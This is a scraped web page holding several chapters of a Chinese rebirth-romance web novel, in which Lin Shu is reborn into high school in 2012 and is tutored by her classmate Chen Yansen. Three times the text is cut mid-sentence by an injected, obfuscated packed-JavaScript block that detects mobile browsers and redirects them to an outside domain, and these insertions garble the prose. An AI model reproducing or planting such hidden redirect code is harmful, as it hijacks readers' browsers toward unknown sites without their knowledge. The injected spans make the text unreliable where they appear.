然而穿上外套后,并不是预想中的暖意,而且一股寒意袭来。原本灼烧感似乎仍留在肌肤,披上外套后顿时冰凉冰凉的,很舒适。 “这外套,是冷的?”她看向老婆婆。 老婆婆正在倒水,眼皮都没抬一下,“原来你还能感觉到冷的呀,看你这么英勇冲进火场,我以为你已经被烧得没知觉了呢。”说完,她将水杯放在桌上,语气淡淡:“喝水。” 嘴硬心软。 “谢谢婆婆。”林舒拿起水杯,是冰水,仰头一口喝下。 老婆婆看着她喝完水,问道:“感觉还行吗?是要先休息一下,还是可以走流程了?” “走流程。” 老婆婆抽出一张表:“接下来的流程你也熟悉了。你把这些信息填完,接着许愿,去往下一世。” 林舒默不作声,填完表格后,摆摆手说:“可以直接跳过许愿这一步吗?我没有愿望。” 这一次的她整个人状态跟前三次都很不一样。第一次是茫然,第二次是无语中带点期待地球爆炸的兴奋,第三次是哭到近乎窒息,直奔重生去的。 而这一次,她非常平静,平静得有些不寻常。 这一世她是为救人主动涉险,并在清醒中看着自己生命逐渐消逝的,比前三次都残忍,按理说不该是这个状态。 平静得就像对一切都失去了希望。 “可以。”老婆婆收起蜡烛,指了指右边的大门,“现在,你可以从这扇门出去,去往你的下一世。” 林舒无力地点了点头,走到门边,手已经搭在门把上了,突然问:“我还可以重来吗?” “可以,”老婆婆翻看手中的材料,“但是我不建议。” “为什么?”林舒收回搭在门把上的手,转过身。 老婆婆:“你有没有觉得这次重生后身体虚弱了?” 经她这么一提,林舒想起这一世确实身体状态大不如从前。之前她血气很足,脉搏壮如牛,而这次重生后她容易头晕、疲劳,甚至出现因中暑、低血糖晕倒、和毫无预兆高烧四天的情况。 老婆婆继续说:“你的身体目前尚能承受得住,如果硬是再来一次,不一定能负荷。” “如果选择重生,我会怎么样?”林舒说着,走回服务台。 “轻则,身体状况差,容易生病;重则,”老婆婆顿了顿,“你会死。” 林舒原本一脸严肃地听着,一听到“死”,反而松了口气:“我当是什么严重的事情呢。死而已,我不怕。” “为什么突然改变主意了?”老婆婆似乎是叹了口气,问道。 对啊,为什么呢?林舒也问自己。 走进来之前,她已经想好直接去往下一世了。无论是行军蚁,还是其他生物,她都能接受。 这一世,她一开始定下的目标其实都实现了: 修正李洛诗的人生,救下她; 远离余嘉城,保住自己的性命; 好好积德; 阻止那场致使陈彦森残疾的车祸,或者保住陈彦森双脚。 她本不该有遗憾了。 可为什么,她心里会这么难受呢? 这九年来,她这么努力地活着,尽心尽力做好每一件事,护好每一个她爱的人。不甘与苦楚涌上心头,酸涩难忍,像羽毛触到她的眼睛,终究还是红了眼眶。 怎会不遗憾呢? 小女孩终于哭了。老婆婆心里松了口气,还能哭出来就证明人还有心气。 她没有说话,只是静静坐在林舒身旁,当一个聆听者,聆听哭声。 反倒是林舒哭到眼泪流干,开口道:“我饿了。” 老婆婆拍拍身子站起来,语气硬邦邦的:“饿就回去吃东西吧,我这可没东西给你吃。” “回去?”林舒吸了吸鼻子,觉得脑袋晕乎乎的。 老婆婆抬了抬眼皮:“不是说要再来一次吗?” “您不是不建议我重来吗?” “我是不建议,”老婆婆无奈歪头,“但你听我话吗?” “听。” “挑喜欢的听是吧。” 林舒破涕为笑,这老太太还挺有意思。 老婆婆抽了几张纸巾塞到她手里,嘴里嫌弃道:“赶紧把脸擦干净就走吧,别影响我接待下一位客户。” 林舒起身,张开双臂抱住老婆婆,在她耳边娇娇地嘟囔一句:“谢谢你。” 她的外婆在她很小的时候就去世了,她没有机会跟老人家相处,现在见到她,觉得很亲切。 老婆婆突然被搂住,整个人如被点了穴般定住,刚想拍拍她后背,林舒就松开她,向她告别:“我走啦。” 她收回手臂,转为挥手:“左边的门,别走错了。” “好哦,婆婆拜拜。” 拜拜。 她在心里说。 她看着林舒的身影消失在门后,轻声道:“下一次,不要这么早来找我了。” …… 林舒睁开眼,面前是一块公告栏,密密麻麻的一堆人名和数字。她抬起头,上方贴着几个大字:2012级高一第一次月考成绩公告。 她走近两步,按照阅读习惯从左边第一个起看,竟看到自己的名字赫然在列: 高一(15)班,林舒,第一名。 她顺着往下看:高一(15)班,陈彦森,第二名。 2012年,高一,陈彦森。 陈彦森。 “嗒”一声,有什么东西落在手背上,温热的。她垂头一看,是血。接着又是“嗒”一声,手背上又多了几滴血。 是流鼻血吗?她刚抬起手想摸鼻子,却觉得头晕目眩,双腿一软瘫倒在地上,失去知觉。 待她再次睁开双眼,被头顶白晃晃的灯光刺得眯了下眼睛,紧接着,一张脸遮住了光线:“林舒,你醒啦?” 林舒眨了眨眼睛,刚被灯光晃了眼睛还有点不适应,这下定神认真看,才认出这张脸的主人。 “余热?” 高一班长,高中时期最好的朋友,三年同桌兼舍友,毕业后联系少了但偶尔也会约见面了解对方近况。 “能认出我就行,我刚刚多害怕你连我都认不出了。”此时的余热大大咧咧的,活泼灵动,还未成为3岁小孩的妈妈。 见林舒还有点茫然,余热又说:“你刚刚流鼻血了,突然一下子晕倒,把我吓得只会尖叫,幸好陈彦森反应够快,一把将你抱起冲来医务室。” “谁?”林舒从长句子中抓取到关键词,挣扎着坐起来,“你刚刚说谁送我来医务室?” “陈彦森啊,就是那个一开学就成了风云人……诶,林舒,你等等我……” 林舒根本没心思听下去,翻身下床,却因刚醒过来就做剧烈动作而一阵头晕,但她也顾不上了,扶着墙跌跌撞撞地往教室走去。 陈彦森正在收作业,背对着她,背影熟悉又陌生。过去她从来没有认真看过高中时期的他,此刻带着别样的心情望去,竟是这样落寞、单薄。想到这,她的心疼痛不已,不由自主放慢脚步走近他,拍了拍他。 男生回过头。 这个年纪的男生青春气息浓厚,只要有一定身高,不胖,然后把自己收拾干净,一般能称得上“挺帅的”,或者“还不错”。 而他偏偏还长了张极为出众的脸,皮肤白皙干净,五官俊秀,骨相周正。 他穿着夏季校服,臂弯里搭着一摞作业本,嘴角微微下弯,垂眼看着她,双眸透出淡淡的冷漠与疏离。 与他对视的那一刻,林舒就确认这不是那个满心满眼都是她的陈彦森。 他们现在只是普通同学。 她立即摆正自己的位置:“谢谢你送我去医务室。” 陈彦森的表情没什么变化,应了一声,定定看着她。 他为什么这么看着自己?难道他也重生了,认出她了?她试探性问:“怎么了?” “你挡我路了。” “……” 林舒往旁边让开,做了个“请”的手势:“您慢走。” 陈彦森直直从她身侧走过。 好、想、揍、他! 这家伙高中是这死样子的吗? 不过,她暂时没时间跟他计较,目前当务之急是要确定自己重生在什么时间节点,以及该如何应对。 根据她睁眼看到的公告栏所示,现在是2012年,刚刚结束第一次月考。值得庆幸的是,她重生的节点是月考后,如果是在月考前重生,她的名次应该就是倒过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995454|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 但她还是很头疼。 上一世重生到大学时期,光是应付英语四六级和大学课业已让她觉得费力,这次她居然回到高一,这空空的脑袋怎么熬过高中三年?最关键的是,如果她没考上南苑大学,那她就没办法跟陈彦森读同一所大学,也不会遇见李洛诗和刘沐鑫,那上一世的事情就都不会发生了。 不行,越想越头疼。 她揉了揉太阳穴,想找个位置坐下,茫然地看了一圈教室,最后到讲台上找到座位表,按图示才找到自己的座位。 完了完了,连座位都要这样找,这书更是读不下去了。 早知道就不重生了,说不定转世当一只非洲行军蚁,现在还能看看动物大迁徙啥的呢。 林舒啊林舒,你真是自讨苦吃。 她用手撑着脑袋,目光呆滞,连连叹气。 “大老远就听到你在叹气了,叹得外面的树叶都要掉光咯。”有人在她身旁的位置坐下,说道。 林舒放下正撑着脑袋的右手,改为用左手撑,余光一瞥邻座——是余热。 哦对,她高一的同桌是余热,还真忘了这件事。 余热:“林妹妹,再上两节课就放假回家了,你不开心吗?” “放假?” “对啊,今天9月28日,周五啊。” 林舒双眼发光:“国庆?” “是啊,你才反应过来吗?” “太好了,爱死你了。”林舒搂住余热,发出一个“mua”的声音。 这对于她来说真是天大的好消息,国庆七天假可以让她在家好好规划这一世要怎么活,以及自学这次月考的知识点。 “这么重要的事情都能忘,我看你真需要休息。”余热指着桌上的课程表,“下一节是体育课,你还能上吗?” 林舒看了一眼窗外,下午两三点正是太阳最猛的时候,只是看一眼都觉得头发在发烫。 “我觉得不行,”林舒扯着余热的衣摆晃了晃,“我想请假。” 林舒本来就长得好看,尤其是那双小鹿般的眼睛黑白分明,似有一汪池水在眼底荡漾,让人生怜。 这谁能招架得住? 余热举手投降:“我陪你去找宋老师。” 林舒上一次见宋老师是上一世大一军训回校的时候,宋老师请他们一帮人吃晚饭,还问他们的梦想是什么。现在再见面,还真有点感慨。 宋老师听余热讲完,皱眉看向林舒:“林舒,又偷懒不去上体育课吗?” 又?林舒一愣。 这才刚开学,她是逃了几次体育课啊? 余热连忙帮腔:“宋老师,林舒她刚刚流鼻血晕倒了,我们刚从校医室回来。” 林舒赶紧点头,作势把头靠在余热肩上,再皱紧眉头。 宋老师一听,语气马上缓和:“那我给你开张请假条,你拿去给体育老师,今天就在教室里好好休息下。” “谢谢老师。” 林舒一手甩着假条,一手撑着伞去操场,把请假条交给体育老师。 体育老师:“小孩子撑什么伞?要多晒太阳。” 林舒:“我跟他们不一样,见不得光。” 青少年晒太阳是会长高补钙,但她都快奔三了,晒太阳会长斑,性质不一样。 交完请假条,她准备回教室,看见大伙儿都往篮球场,问余热:“他们怎么都去篮球场了?” 余热:“篮球场比赛呀,我们15班对16班。” “有帅哥?”林舒精神一振。 “先不说16班了,就我们班的陈彦森,就算打得稀烂也值得看啊!” “走走走,我们赶紧去占个前排。” “你不是说不上体育课吗?” “看帅哥打球能叫上课吗?” 看男高打球,说不定能活跃下她这快奔三的死气沉沉的心态。 她和余热一人拿着一杯雪糕站篮球场边上,围观学生的欢呼声、运动鞋与地面摩擦的声音、篮球投进篮筐发出的“咚”的声响……各种声音混合在一起想要钻进林舒耳朵时,却被一道无形的屏障挡在外面。 她什么都听不见,目光一直追随着陈彦森。 纯白短袖,蓝色校服短裤,未经修饰的发型,世界上最基础最简单的元素堆在他身上却是这般好看,难怪见过他的人都说他配得上校草这称号。 她真想给第一世的自己一个狠狠的耳光,当年是眼瞎了还是被鬼上身,怎么一点都没留意到他? 她一直看着他,没看到篮球朝自己砸来。 39. 第五世(二) 林舒之所以会回过神来,是因为陈彦森停下看向她。她呆呆地跟陈彦森对视了两秒,意识到不对劲,这才回过头来,看见一个男生托着篮球站在她面前,笑着说:“不好意思,差点砸到你了。” 余嘉城? 林舒后退一步,手中的雪糕掉在地上。 身体的下意识反应是骗不了人的。即使过了这么多年,再次见到这个人的时候,她还是条件反射要远离。 重生后她满脑子只有陈彦森,压根没想起还有余嘉城这号人物。所幸现在是刚开学一个月,他们还没有什么交集,她的表现再冷漠都是正常的。 余嘉城捡起掉在地上的雪糕,抱歉地说:“不好意思,害你雪糕都掉了,要不……” 下课铃声适时响起,将他的后半句话掩盖。林舒趁机又退一步,僵硬地摆摆手,拉着余热迅速离开。 一刻都不想呆下去。 林舒回到教室,一眼看到写满一整个黑板的作业,只觉得眼前一黑,瞬间忘记某人带来的不快,趴在课桌上哀嚎道:“又要写作业啊!为什么啊!” “年级第一都要为作业哭,那我岂不是要收拾书包回乡种地?”余热抽出一张草灰色的草稿纸,搭在她的头上,顺手拍了两下:“快起来记作业吧。” 林舒真的好久没试过握笔了,感觉手跟笔不是很熟,互相排斥对方。她硬着头皮写了几个字,突然想起点什么:“我们可以拍照呀,那就不用抄得这么辛苦了啊!” “拍照?”余热抬眼,“是用你的诺基亚,还是用我的小灵通?” 对哦,林舒失望地再次趴下。她是高一下学期才开始用智能手机的,现在这部诺基亚的作用就是拿来打电话发短信,以及调闹钟起床。 更绝望了。 林舒趴在桌上一动不动,想象着自己就这么一直保持着这个姿势不动,几百年后,她的脑袋与桌子长在一起,后人会不会以为这张桌子本来就是这么设计的?她会连人带桌被送进博物馆吗?都这么奇特了,能放在最显眼的展厅吗?参观的人们觉得实在太奇特了,在她桌上摆下一样东西。 是什么东西呢?林舒聚神一盯,一杯雪糕? 她一下子坐起来,与站在她桌前的人打了个照面。 余嘉城?她眨了眨眼,怎么又是他? 余嘉城见她头顶着一张草灰色的草稿纸,呆呆地看着自己,觉得这个女生懵懂又可爱,忍不住笑了:“你刚刚吃的口味已经卖完了,给你买的香草味,可以吗?” 林舒看了桌上的雪糕一眼,极力克制自己才勉强控制住脸上的表情不至于太难看,说道:“一个雪糕而已,也已经吃了一半了。没事,你拿回去吧。” “那不行,是我的错,我得还你。”余嘉城坚持。 班上其他同学陆续回到教室,见到两人在拉扯便开始起哄:“喔……你就收下吧林舒!” 这群十五六岁的男孩子这么幼稚的吗?林舒朝他们翻了个白眼。知道的是一杯雪糕,不知道的还以为求婚呢,至于吗? “你拿走。”软的不吃就来硬的,林舒神情严肃,语气也变得生硬:“我不要。” 余热见气氛有点不对劲,赶紧出来打圆场,伸手拿起雪糕,揭开盖子舀了一口,边吃边说:“谢谢嘉城,雪糕很好吃。” 余嘉城朝余热点点头,看了林舒一眼。林舒没有接住余嘉城的眼神,低下头默默收拾书本,余嘉城觉得无趣,颠了颠篮球,回到自己的座位。 余热见他离开,用手肘撞了撞林舒,小声说:“你好像很不喜欢余嘉城诶。” “没有,你想多了。”林舒不想延续这个话题,打了个哈哈就过去了。 高中课本每一本都很厚,但是她也不知道哪本需要带哪本不需要带。现在脑子里只存有做PPT和跟客户吵架的技能,在这个年纪一点都用不上,她只好一股脑将书本塞进书包里,打算回去得好好苦读。 这时,有人敲了敲她桌子。她抬头,面前站着的女生有点眼熟,但一下子没想起是谁。 女生拿着一张卷子,说:“林舒,你可以把你的物理卷子借我看看吗?老师还没讲试卷,我想自己先琢磨一下。” 林舒既然已经回到高一,就要有高一学生该有的表现,不能露馅,便连连应下,开始翻箱倒柜找卷子。结果翻了个底朝天,也没有找到所谓的物理试卷。 女生指了指她桌上一叠书最上方:“不是在这里吗?” 林舒一看,还真是,把卷子递给她。递出去的时候她顺便探头去看女生卷子上的名字:祁相宜。 她想起来了,祁相宜是她的舍友,她睡上铺,祁相宜睡下铺。 祁相宜翻看卷子,接着指一道题问:“林舒,这道题你是怎么解出来的?” 林舒探头去看题目: 一小汽车在平直公路上行驶,速度V1=20m/s,紧急制动后经t=5s停下,则: (1)小汽车紧急制动时的加速度多大? (2)若司机发现前方70m处发生了交通事故,从发现这一情况,经操纵刹车,到汽车开始减速所经历的时间(即反应时间)t0=0.50s。该车行驶是否会出现安全问题?请通过计算说明原因。 (3)若司机发现前方有一大货车停着,因为该路段只能通过一辆车,所以小汽车司机在距离大货车x=20m时按喇叭提出警示并开始制动,大货车听到提示马上加速,问大货车至少以多大的加速度加速才不会相撞? 呵呵,这里面每一个字都认识,但连在一起就不知道什么意思。 谁懂啊家人们,从第一世到第四世,九年又九年,她离开高中已经十八年了,当初选的又是文科,这理科基础公式都忘得差不多了,这突然一道题目怼到面前让她解,她的脑子一片空白。 她盯着题目看了半天,最后抱歉地笑了笑:“不好意思啊,我好像忘记了。” “这样啊……”祁相宜拿起卷子问她身后的人,“这道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012103|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题你会做吗?” 林舒跟着回头一看,瞳孔瞬间放大——陈彦森?原来陈彦森是她后桌? 陈彦森看了林舒一眼,拿出一张草稿纸写了几笔,递给祁相宜。林舒凑过去一看,这都什么跟什么啊!一点都看不懂。她盼着祁相宜说没看懂,自己能蹭着一起听学霸解答,结果祁相宜说:“哦我懂了,谢谢。”说完就拿着卷子和草稿纸走了。 妹妹,你就这样走了?还带着草稿纸走了?可我没懂啊! 林舒眼巴巴看着祁相宜离去的背影,只敢在心里呐喊,悻悻然转过身去。 过了一会,有人用笔戳了戳她的后背,接着一张草稿纸从后面递过来,是刚刚那道题的解题思路。只不过这里明显篇幅长了许多,详细了很多。 林舒接过,努力地看了很久,感觉很有道理,逻辑很清晰,但确实是……看不懂。 在陈彦森的注视下,林舒觉得压力越来越大,干笑一声问道:“这张纸可以给我吗?我回去慢慢看。” 陈彦森盯了她好一阵子,久到她觉得自己变成一道透明的墙。半晌,他才慢慢张口:“你是不是没看懂?” “我,我怎么会不懂?”林舒不想被看出破绽,辩解道,“就是脑子一时没转过来而已。” 陈彦森没理会,拿过她手上的草稿纸,翻出物理书找到对应公式,每一个步骤都讲得很详细。末了,他抬起头,问:“懂了吗?” 这下是真的懂了,林舒点头如捣蒜。 陈彦森将草稿纸递给林舒,林舒伸手去接,对方没有松手,她又用力扯了一下,草稿纸还是被牢牢捏在对方指尖。 “你……”林舒皱眉,抬眸对上陈彦森的目光,但见男生饶有兴致地看着她,嘴边泛起一个似有若无的微笑,似乎是在说:同学,到底谁才是年级第一,这题你是真不会吗? 这死家伙高中时原来是这么欠揍。 你知道吗?你现在还好好地坐在这里没被我打趴下,是因为沾了27岁陈彦森的光。 不给就不给! 林舒松开手,耸了耸肩,回正身子继续收拾书包。 下一秒,草稿纸顺着她的脑袋滑下盖住她的脸,劣质纸张的臭味混合墨水的味道扑鼻而来,林舒一把揪下,攥着纸张的一角,指关节嘎嘎作响。 不生气不生气,她深呼吸,想想第三世将她奋力推出着火的校车的陈彦森、为救她豁出命去抓凶手的陈彦森,想想第四世一直支持和相信她的陈彦森、冒着台风天来接她的陈彦森。他现在就是个15岁的小屁孩,不跟他一般见识。 她自我攻略一番后,回头挥了挥草稿纸,微笑着说:“谢谢哦。” 实际上后槽牙咬得紧紧的。 林舒清空了抽屉,背了一个大书包,手上提着一个大袋子,活像农民第一次去省城打工那样,走一步拽一下书包,艰难地走到校门口。 她看着川流不息的街道,逐渐放慢了脚步。 等下,她要怎么回家? 40. 第五世(三) 林舒记得这里后来开通了地铁,但现在还没有,那她是怎么回去的?坐公交?公交站在哪?坐几路车? 她下意识拿出手机想搜地图,看到翻出来的是诺基亚,没有任何一丝迟疑地马上塞回去。 没有地图辅助,她也不敢去问人,只好走到最近的公交站牌,将站牌的正反两面看完,都没看到她家附近的站点,那就说明她需要转车,那去哪里转车呢?她突然想起当时是可以搭某一辆车去地铁站的,但是这里怎么没有那个地铁站的名字? 她直起腰想再仔细看一遍,结果“砰”一声,她的天灵盖撞到某个坚硬的东西了,疼得她眼冒金星,甚至在那一瞬间闪过“谁要掀翻我的头盖骨”的念头。 “嘶……疼!”她捂着脑袋抬起头来,对上那双深瞳。 她曾经无数次看着这双眼睛,咽下到嘴边的话,不敢承诺,不敢给予他期待。如今以这样的身份再次与之对视,她的胸口闷闷的,有点想要掉眼泪。 “你不会要哭吧?”冷不丁的,眼睛的主人开口直接戳破这漫天粉红泡泡,“我也很痛啊!” 从深情款款到眼泪咻一声收回只需0.001秒,这在林舒身上实践过了,数据绝对准确可信。林舒没好气地说:“对不起咯。” 陈彦森揉了揉下巴:“算了,我也有错,我也要对你说一声对不起。” 林舒曾以为重生后再见陈彦森会是欣喜的、感慨的,没想到是尴尬的、无语的。她不再说话,继续看公交站牌,身后又传来他的声音:“年级第一,你不会连回家的路都忘了吧?” 林舒张嘴想回怼,话到嘴边就变了:“你知道去人民广场地铁站应该坐哪辆车吗?” 反正刚刚都被他质疑自己连一般难度的物理题都不会做,也不差再多问个交通工具问题。毕竟让一个人怀疑好过让两个人怀疑。 问得还挺理直气壮的。 陈彦森挑了挑眉,伸手在其中一个站点上敲了一下。 林舒“哦”了一声:“原来是15路车的平安路站,我还以为有个站就叫人民广场地铁站。” 正说着,15路车到站,陈彦森先她一步上车。等她刷完公交卡后,看到车上只剩一个座位了——就在陈彦森旁边。 还是要礼貌性问一下的,林舒问:“我可以坐这里吗?” 陈彦森点点头,拿出耳机听歌,看向窗外。 林舒看着他,心想,原来以前的他是这样子的,那他是从什么时候开始变得叛逆、让老师们头疼的呢? 邻座不跟她聊天,手机不能上网,她没事可做,百无聊赖下翻出地理书。以后是要读文科的,那就好好研究下地理吧,毕竟地理是她当时学得最费劲的一门课。 【地球在宇宙中的位置。】 【晴朗的夜晚,仰望星空,可以看到闪烁的恒星、轮廓模糊的星云,以及相对于星空背景有明显移动的行星……】 看起来不是重点,翻过。 【地球自转速度可以用角速度和线速度来描述。】 她看到自己在“角速度”三个字旁边画了一个小箭头,在小箭头旁边写着:“W:除南北两极外,处处相等且等于15°每时”。同样,在“线速度”旁有同样的标注,写着:“V:由赤道向南北两极递减。通用公式:1670*cos纬度/小时”。 这都是啥? 林舒越看,眉头锁得越紧。 公交车到站后,林舒跟着人流下车,大家一下车后就四散走开,她一下子呆在原地,不知跟谁走。 陈彦森走了两步,回头见林舒神情茫然地四处张望,像跟大人走散的小朋友一样,喊她:“林舒。” “啊?” “地铁在这边。” 林舒一路没吱声,她还在消化角速度和线速度的知识点。她感觉这个知识点并不是很重要,但问题是不重要的知识点她都看不懂,那重要的怎么办呢?她这次不会读不成大学吧?早知死了算了,不重生了,去非洲当一只蚂蚁算了。 地铁到站,她跟着陈彦森下车,又跟着陈彦森走。她一直低着头,没有留意到走在前方的人停下脚步,“砰”一声,她的脑袋又遭殃了。 短短几个小时内,她本来就在适应重生带来的身体不适和信息冲击,现在鼻血流了,晕倒了,天灵盖撞了,脑门撞了,她觉得整个人都不好了。 “你家是这个方向吗?”陈彦森歪了歪头。 “啊……”林舒动作迟缓,像疯狂动物城里的树懒一样缓慢张望,“不是。” 她重新拽了拽书包,转身刚走两步,突然感到手里一松,回头看到手中的袋子被握在陈彦森手里。他神色散漫,语气也淡:“我送你。” 林舒有点不好意思:“我的袋子有点重。” 陈彦森:“不是有点重,是很重,你为什么把所有书都带回家?国庆后不打算回来了吗?” 林舒:“不是,我这不得学习吗?你以为年级第一有那么好考吗?” “我现在有点怀疑你成绩的真实性了。” 说完这句话,他看着林舒,眼神中带有探究的意味,似乎在等她回答,又似乎只是单纯表达自己的疑问,并不在意她的回答。 林舒紧张地迎着他的目光。他不是18岁的陈彦森,更不是27岁的陈彦森,他是不会信自己是重生的。 “要不是这次月考我坐你旁边,我都怀疑你是作弊。” 最后,他轻飘飘放下这句话。 她松了口气,大哥,说话不要大喘气好不好? 林舒灵机一动,继续狡辩道:“我今天身体不是很舒服,觉得脑子也不太灵光。” 这句话还是有可信度的,毕竟她晕倒后还是他送去校医室的。 陈彦森瞥她一眼:“我建议你去医院查查,晕倒醒来后发现知识忘光了,这可不是小问题。” 还是被他发现了。林舒破罐子破摔,直接开摆:“那我都这样了,你能教我写作业吗?” 她眨眨眼:“你忍心看着你同学从此变弱智吗?” 陈彦森:“我俩是竞争关系,你变弱智了,对我来说不是好事吗?” 林舒:“老师说读书要有你追我赶的良性竞争,得有我这样的人鞭策着你,让你有危机感,才能激励你更用功读书。” 她现在虽然脑袋空空,但忽悠客户的那套本事还在。对接客户没点语言的艺术怎么行,不然方案得改100版。 陈彦森用一种看傻子的眼神看着她,但她知道,成了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023150|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 周六上午八点,林舒打着哈欠出现在市图书馆。 昨天陈彦森将她送到家楼下,丢下一句“明早八点市图书馆见”就走了。他走得很干脆,她一时也没觉得哪里不对劲,等到了晚上打算收拾明天去图书馆的书本时才发现,那一袋子书被他拿走了。 她登上Q.Q,在班群里加上他,让他明天把书带过去。 2012年的图书馆还没有被考研党和考公党占满,多数人都是来看书的,所以位置比较充裕。她找了张角落里的二人桌坐下,在这里讲题不会影响到别人。 林舒坐下没多久,陈彦森也到了。他今天穿了件黑色T恤,随手抓着一件外套,整个人的气场很低,眼神懒懒的,似乎对什么都提不起兴趣,再加上脸上表情很淡,看起来很不好惹。 这让她想起第三世遇见他的情形。 如果她没有出现在他后续的生活里,他会继续以这样的状态活下去,直到他们27岁在便利店里重逢。 她可能不知道排在后面的是他,拿起橙子汽水转身就走; 她可能看见他,但没认出他; 她可能看见他,也认出他,但因为多年不见心生尴尬,假装没认出; 她可能看见他,也认出他,并打了招呼,但因为多年不见心生尴尬,匆匆寒暄两句就分别。 陈彦森把外套搭在椅背上,看见林舒在发呆,把书放在桌上:“没睡醒?” 书包被放在桌上发出轻轻的声音,足以让林舒回过神来,她换上谄媚的笑容,向他递去一瓶橙子汽水。 光阴跳跃间,他们与另一个时空的自己的身影重叠,只不过那一次是他递给她。 陈彦森偏了偏头:“谁大早上的喝汽水?” 林舒保持八颗牙齿标准微笑:“提神。” 他似乎“切”了一声,但声音太轻太轻,林舒并不确定自己是不是听错,紧接着,听见他说:“贿赂我。” 林舒吸了一口气,仰起头看他。 上一世大学的时候,她想去男生宿舍洗饮水机,被宿管阿姨拦住不给上去,他接过她手中的水桶和抹布,把整栋楼的饮水机洗完。 她说:“你是在跟我争功德吗?” 他说:“对,我争取下辈子投胎做非洲大象。不想被我踩扁,就想想怎么贿赂我。” 就像是一部未完的电视剧,刚刚发生的那一幕接上这未结束的剧情。 就在这一刹那,她突然明白自己为什么每次重生的节点都不一样了。 第一次重生到一天前,是因为她死前想知道凶手是谁; 第二次重生到三天前,是因为她死前觉得如果温昊殷在的话,她是不是就不会加班到这么晚,最后遇刺身亡; 第三次重生到2015年,是因为她死前想要救下李洛诗; 而这一次,第四次重生到2012年,是因为她死前有话想要对陈彦森说。 原来她每一次重生回到的节点,都是她的遗憾时刻。 她想要抓住凶手、想要留下温昊殷、想要救下李洛诗、想要走向陈彦森。 她没做到的,上天再给她一次重来的机会。 而这一次,她捂着心口,浑身发烫,将会是她最后一次机会。 41. 第五世(四) 她又回到火场里。 一开始是指尖,接着是手指、手掌,火苗顺着她的手臂向上攀,她用力拍打想要将它灭掉,却发现小腿不知什么时候也被火缠上了,她猛力跺脚,奈何这火势越来越大,怎么都甩不掉。 慢慢地,她耗尽全身力气,只得闭上眼睛,任由大火无情地灼烧着她的每一寸肌肤,最后将她完全吞噬。 “林舒,林舒。”有人不断喊着她的名字。 是谁叫她? 好累,她不想睁开眼睛。 就这样睡去吧。 “林舒,林舒。”声音没有停,一声比一声高。 好吵,好吵,到底是谁? 她不情愿地睁开眼,一张焦急的脸出现在她面前。 “你醒了。”那人松了口气,“你再不醒来,我就要叫救护车了。” 林舒发现自己正趴在桌上,遂起身,“我睡着了?” “跟睡着比起来,我更倾向于认为你是晕过去了。”陈彦森将纸巾递到她手里,指了指她的额头,“你全身发烫,流了好多汗。” “谢谢。”林舒接过纸巾,随意擦了两下。 “你还好吗?要不要去医院?”他满眼担忧。 “不用,小问题。”她知道这是梦魇,是重生后遗症,没得治,只能尝试与之共存。 “可单单在我面前,你都晕了两次。如果下一次你晕的时候身边没人,你会很危险。” “放心吧,我了解自己的身体,我会注意的。”林舒朝他一笑,开始整理书本。 始终他俩只是普通同学关系,陈彦森也不便多说。为了缓和气氛,他故意说道:“你不会是因为我没喝汽水被气得晕过去吧?”他一边拧开瓶盖一边说:“我喝我喝,你别晕了哈。” 这小子还挺幽默的,林舒被他逗笑了,陈彦森见女孩绽放笑颜,心中大石稍稍落下,拿出物理卷子:“那就先从昨天发的卷子讲起吧。” “好。” 陈彦森将试卷摆在两人中间,拿起笔,微微俯下身的那一刻,旁边的女孩挪了挪椅子,凑过来。 他给很多人讲过题,男生、女生,同桌、后桌,同班、隔壁班,但从未在讲题时认真看过他们一眼,也从不知道原来讲题时两人会凑得如此近。 有多近呢?近得能看见她脸上的小绒毛。她的皮肤真好,透白清亮,没有一丝瑕疵,也几乎看不到毛孔,睫毛长且弯,有节奏地颤动着。许是因为刚刚晕倒,她看起来有些憔悴,脸色有些苍白,嘴唇颜色淡淡的,额前的碎发沾染一层薄汗,如同初晴的融雪。 他察觉到自己的变化,不禁轻咳一声,拿起一旁的汽水喝了两口。 讲题,他对自己说,今天是来给同学讲题的。 傍晚,陈彦森送林舒回到家楼下,林舒摊开手,陈彦森把书放在她手上:“物归原主。” 林舒笑了:“那后天我还能约你去图书馆吗?” 陈彦森:“为什么是后天,明天你不去吗?” 林舒:“明天是中秋,你不用陪家人吗?” 陈彦森没有回答这个问题,而是说:“你现在的课程落下很多,初中的知识也几乎都忘光了,你不补好知识,作业没法做。” 林舒想起楚洛西当时说他父母很忙,也许是明天没时间陪他。第二天补习完,她站在家楼下,向他伸手发出邀请:“陈彦森,来我家吃晚饭吧。” 